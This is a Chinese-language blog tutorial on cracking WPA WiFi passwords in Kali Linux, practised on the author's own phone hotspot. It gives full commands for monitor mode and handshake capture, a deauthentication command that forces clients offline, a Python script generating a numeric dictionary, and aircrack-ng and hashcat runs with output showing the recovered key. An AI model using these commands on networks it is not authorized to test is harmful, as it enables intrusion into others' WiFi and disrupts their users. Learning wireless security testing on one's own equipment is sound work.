使用kali进行抓包以及aircrack-ng跑包和hashcat跑包

文章目录

  • 一、连接无线网卡
  • 二、抓取TCP握手包
  • 三、aircrack-ng跑包和hashcat跑包
    • 1.aircrack
    • 2.Hashcat
  • 四、其他

环境:

VMware® Workstation 16 Pro

kali-linux-2023.1 64位

python3.9.13

RT3070-USB无线网卡

一、连接无线网卡

1.首先按下win+r打开运行窗口

2.输入services.msc,然后按回车键即可进入服务

3.找到VMware USB Arbitration Service 右击启动

4.右键虚拟机,设置,在USB控制器中,勾选USB兼容性2.0以及显示所有USB输入设备

5.打开kali,上方的虚拟机→可移动设备→自己的网卡型号

6.输入命令ifconfig查看,出现wlan0即为安装成功

在这里插入图片描述

6.使用airmon-ng命令检查网卡是否支持监听模式,如果该命令没有任何输出则表示没有可以支持监听模式的网卡。

在这里插入图片描述

二、抓取TCP握手包

1.开启无线网卡的监听模式

airmon-ng start wlan0

2.开启监听模式之后,无线接口wlan0变成了wlan0mon,可以使用ifconfig命令查看 ,如下图所示

注意啊:没有变为wlan0mon的也不是说网卡不支持监听,没有变wlan0mon就直接airodump-ng wlan0):

3.扫描环境中的WiFi网络

airodump-ng wlan0mon

其中,OnePlus Ace 2 Pro 为我的手机热点
在这里插入图片描述

4.抓取握手包

当有新用户连接WiFi时会发送握手包,使用网卡的监听模式抓取包含了WiFi密码的握手包。

抓包:

airodump-ng -c 6 --bssid 5A:10:53:1A:B7:BD  -w hack wlan0mon

-c 指定信道,上面已经标记目标热点的信道

-bssid指定目标路由器的BSSID,就是上面标记的BSSID

-w指定抓取的数据包保存的目录

handshake即为握手包
在这里插入图片描述

三、aircrack-ng跑包和hashcat跑包

使用python生成字典,也可以进行下载

import itertools
import time//8位数字字典大约950M
charset = "1234567890"
min_length = 8
max_length = 8
total_passwords = sum(len(charset) ** length for length in range(min_length, max_length + 1))
filename = "wifi_passwords.txt"# 生成进度信息
def print_progress(length, current, total):print(f"{current}/{total}", end="\n", flush=True)# 生成密码
def generate_passwords(length):for p in itertools.product(charset, repeat=length):yield ''.join(p)# 打开文件并写入密码组合
with open(filename, "w") as file:for length in range(min_length, max_length + 1):print(f"0/{total_passwords}", end="\n", flush=True)for i, password in enumerate(generate_passwords(length)):file.write(password + "\n")time.sleep(0.0001)print_progress(length, i+1, total_passwords)print(f"生成完成")

1.aircrack

aircrack-ng -a2 -b 5A:10:53:1A:B7:BD -w wifipwd.txt hack-02.cap
  • a2:WPA模式
  • b :破解的WIFI的BSSID
  • w :指定字典文件
  • wifipwd.txt:密码字典的文件路径。

在这里插入图片描述

KEY FOUND![jns20231217]

2.Hashcat

通过将 .cap 文件上传到https://hashcat.net/cap2hashcat并将其转换为 .hc22000 格式

hashcat -m 22000 hack-02.hc22000 wifipwd.txt 
  • -m 22000:指定使用hc22000模式。
  • hack-02.cap:握手包的文件路径。
  • wifipwd.txt:密码字典的文件路径。

在这里插入图片描述

6ce383df82ebcc12c278729fd5a8d6ec:5a10531ab7bd:c0f4e66b2067:OnePlus Ace 2 Pro:jns20231217Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hack-02.hc22000
Time.Started.....: Sun Dec 17 19:42:22 2023 (7 secs)
Time.Estimated...: Sun Dec 17 19:42:29 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wifipwd.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    22604 H/s (10.14ms) @ Accel:128 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 145408/390626 (37.22%)
Rejected.........: 0/145408 (0.00%)
Restore.Point....: 144384/390626 (36.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: jns20221120 -> jns20237223
Hardware.Mon.#1..: Util: 74%Started: Sun Dec 17 19:41:54 2023
Stopped: Sun Dec 17 19:42:29 2023

四、其他

关闭监听模式,在监听模式下,kali不能连接网络

airmon-ng stop wlan0mon

解除网卡占用

airmon-ng check kill

开启无线网卡的监听模式,有包但没有握手包,需要强制踢下线:

aireplay-ng -0 2 -a D6:37:56:03:9E:EF -c C0:F4:E6:6B:20:67 wlan0mon

在这里插入图片描述

  • -0 后的2是次数,BSSID和STATION都能从上图中获取。

踢下线后获取握手包
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/286034.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JDK各个版本特性讲解-JDK9特性

JDK各个版本特性讲解-JDK9特性 一、JDK版本特性二、JDK9特性讲解1. JDK9特性概述2. JDK9的改变3. JDK和JRE目录变化4. 语法层次改变4.1 钻石操作符号语法升级4.2 try结构语法升级4.3 下划线命名标识符的使用限制 5. API层次的改变5.1 接口中的私有方法5.2 String底层存储结构变…

【SpringCloudAlibaba】Sentinel熔断限流工具的使用

一、前言 随着微服务的流行,服务和服务之间的稳定性变得越来越重要。Sentinel 是面向分布式、多语言异构化服务架构的流量治理组件,主要以流量为切入点,从流量路由、流量控制、流量整形、熔断降级、系统自适应过载保护、热点流量防护等多个维…

MATLAB求解微积分(代码+详细解读)

大多数实际工程问题常常简化为微分方程,其求解显地至关重要。 符号微积分 极限 % matlab提供的求极限函数limit(),其调用格式为 % y limit(fun,x,x0) % fun为要求解的函数,x为函数自变量,x0为函数自变量的取值,x趋近于x0 clc;…

STM32----HAL库函数

1.STM32系统框架 1.1 Cortex-M内核&芯片 1.2 F1系统框架 4个主动单元4个被动单元 AHB:高级高性能总线 APH:高级外围总线 其中 1 为 主动单元 , 2为被动单元 总线时钟频率&…

Matlab智能优化算法学习笔记(一)——粒子群算法、模拟退火算法、遗传算法、蚁群算法

文章目录 粒子群算法△ matlab工具箱粒子群函数○ 代码○○ 手搓代码实现粒子群优化 2个变量(xy)的粒子群优化尝试 定义函数 绘制网格图(用来可视化过程) 参数初始化,绘制粒子初始位置 开始迭代过程并绘图 获取结果并绘…

分享一个好看的vs主题

最近发现了一个很好看的vs主题(个人认为挺好看的),想要分享给大家。 主题的名字叫NightOwl,和vscode的主题颜色挺像的。操作方法也十分简单,首先我们先在最上面哪一行找到扩展。 然后点击管理扩展,再搜索栏…

JMM的内存可见性保证

Java程序的 内存可见性保证 可以分为下列3类 1)单线程程序 单线程程序不会出现内存可见性问题。 编译器、runtime、处理器会共同确保单线程程序的执行结果与该程序在顺序一致性模型中的执行结果相同。 2)正确同步的多线程程序 正确同步的多线程程序的…

linux 多路径multipath的安装

1. 什么是多路径 在计算机系统中,多路径是指在存储系统中使用多个物理路径来连接主机和存储设备,以增加系统的可用性和容错性。多路径技术的目标是提供冗余路径,以确保在某个路径发生故障时,数据仍然可以通过其他路径进行传输具体…

从今天起,你就是CAN专家了。

一. CAN协议概念 1.1 CAN 协议简介 CAN 是控制器局域网络 (Controller Area Network) 的简称,它是由研发和生产汽车电子产品著称的德国 BOSCH 公司开发的,并最终成为国际标准(ISO11519以及ISO11898),是国际上应用最广泛的现场总线之一。差异点如下&…

git命令查看提交代码行数和次数

右键点击Git Bash Here 查看代码提交次数 git log --since2022-7-1 --before2022-8-1 --author"XXXX" --pretty%aN |sort |uniq -c | sort -k1 -n -r查看代码提交行数 git log --since2022-8-1 --before2022-9-1 --authorXXXX --prettytformat: --numstat |awk {add…

Ubuntu 常用命令之 sed 命令用法介绍

sed是一个在Linux和其他Unix-like系统中常用的流编辑器,用于对输入流(文件或管道)进行基本的文本转换。它可以非常方便地进行文本替换、插入、删除等操作。 sed命令的基本格式为 sed [options] command file(s)其中,常用的参数有…

文件操作(下)

标题的顺序是接着之前写的,希望这篇博客对你有帮助 七. 随机读写函数 实际上,无论是读还是写,在一次调用顺序读写函数,文件指针会移到已经读过或者写过的下一个位置,从那个位置开始下一次读和写(在文件没有…